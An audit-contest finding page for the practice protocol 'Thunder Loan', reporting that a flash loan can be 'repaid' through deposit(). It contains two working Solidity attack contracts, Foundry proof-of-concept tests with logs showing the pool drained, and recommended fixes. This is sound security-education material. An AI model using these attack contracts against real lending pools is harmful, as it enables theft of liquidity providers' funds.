Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

H-1] Calling `deposit()` during flash loan callback satisfies repayment check without returning funds

Root + Impact

flashloan() validates repayment only by comparing the final pool balance, allowing an attacker to call deposit() instead of repay() during the callback. The attacker receives LP shares without returning the borrowed funds, causing direct loss to liquidity providers.

Description

flashloan() is intended to let users borrow tokens and repay them within the same transaction.

However, during the callback the protocol allows calling deposit(). Instead of calling repay(), the attacker deposits the borrowed amount and receives AssetTokens in return. The repayment balance check passes because the tokens are now in the pool. In a subsequent transaction the attacker calls redeem() and recovers the tokens. The result is that the attacker keeps the flash loan proceeds without paying anything — the LPs pay the fee and lose their principal.

function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
// ...
@> receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token), amount, fee, msg.sender, params
)
);
// balance check passes because deposit() moved tokens into the pool
}

Risk

Likelihood: High

  • Anyone who can request a flash loan can execute this attack. No advanced knowledge required.

  • Only the fee amount is needed as starting capital.

Impact: High

  • All pool funds can be drained over multiple transactions.

  • LPs lose their deposits.

  • The protocol becomes insolvent — remaining LPs cannot redeem.

  • The fee that should generate yield for LPs is paid by the pool itself.

Proof of Concept

Attack contract:

contract Attack {
IERC20 public token;
IERC20 public assetToken;
address public lender;
uint256 public fee;
constructor(address _token, address _proxy, IERC20 _assetToken) {
token = ERC20Mock(_token);
lender = _proxy;
assetToken = _assetToken;
}
function executeOperation(
address _token,
uint256 _amount,
uint256 _fee,
address _lender,
bytes calldata _params
) external returns (bool) {
uint256 amountToRepay = _amount + _fee;
fee = _fee;
IERC20(_token).approve(msg.sender, amountToRepay);
IFlash(msg.sender).deposit(IERC20(_token), amountToRepay);
return true;
}
function withdraw() external {
IFlash(lender).redeem(token, assetToken.balanceOf(address(this)));
}
}
function test_Deposit_During_Flashloan() public {
tokenA.mint(address(this), 1000e18);
IThunder aProxy = IThunder(address(proxy));
tokenA.approve(address(aProxy), 1000e18);
aProxy.deposit(tokenA, 1000e18);
Attack attacker = new Attack(address(tokenA), address(aProxy), assetTokenA);
uint256 flashloanAmount = 300e18;
uint256 fee = aProxy.getCalculatedFee(tokenA, flashloanAmount);
tokenA.mint(address(attacker), fee);
uint256 poolBefore = tokenA.balanceOf(address(assetTokenA));
console2.log("pool balance before:", poolBefore);
console2.log("attacker balance before:", tokenA.balanceOf(address(attacker)));
vm.startPrank(alice);
aProxy.flashloan(address(attacker), IERC20(address(tokenA)), flashloanAmount, "");
attacker.withdraw();
console2.log("pool balance after:", tokenA.balanceOf(address(assetTokenA)));
console2.log("attacker balance after:", tokenA.balanceOf(address(attacker)));
console2.log("pool loss:", poolBefore - tokenA.balanceOf(address(assetTokenA)));
}
Logs:
pool balance before: 1000000000000000000000
attacker balance before: 900000000000000000
pool balance after: 699791828733953417126
attacker balance after: 301108171266046582874
pool loss: 300208171266046582874

Recommended Mitigation

Add an explicit repayment flag. Only repay() can set it to true, and flashloan() checks it instead of relying solely on balance comparison.

+ mapping(IERC20 => bool) private s_flashLoanPaid;
function repay(IERC20 token, uint256 amount) public {
if (!s_currentlyFlashLoaning[token]) {
revert ThunderLoan__NotCurrentlyFlashLoaning();
}
+ s_flashLoanPaid[token] = true;
AssetToken assetToken = s_tokenToAssetToken[IERC20(token)];
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
function flashloan(...) external {
// ...
- if (endingBalance < startingBalance + fee) {
- revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
- }
+ if (!s_flashLoanPaid[token]) {
+ revert ThunderLoan__NotPaidBack();
+ }
+ s_flashLoanPaid[token] = false;
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!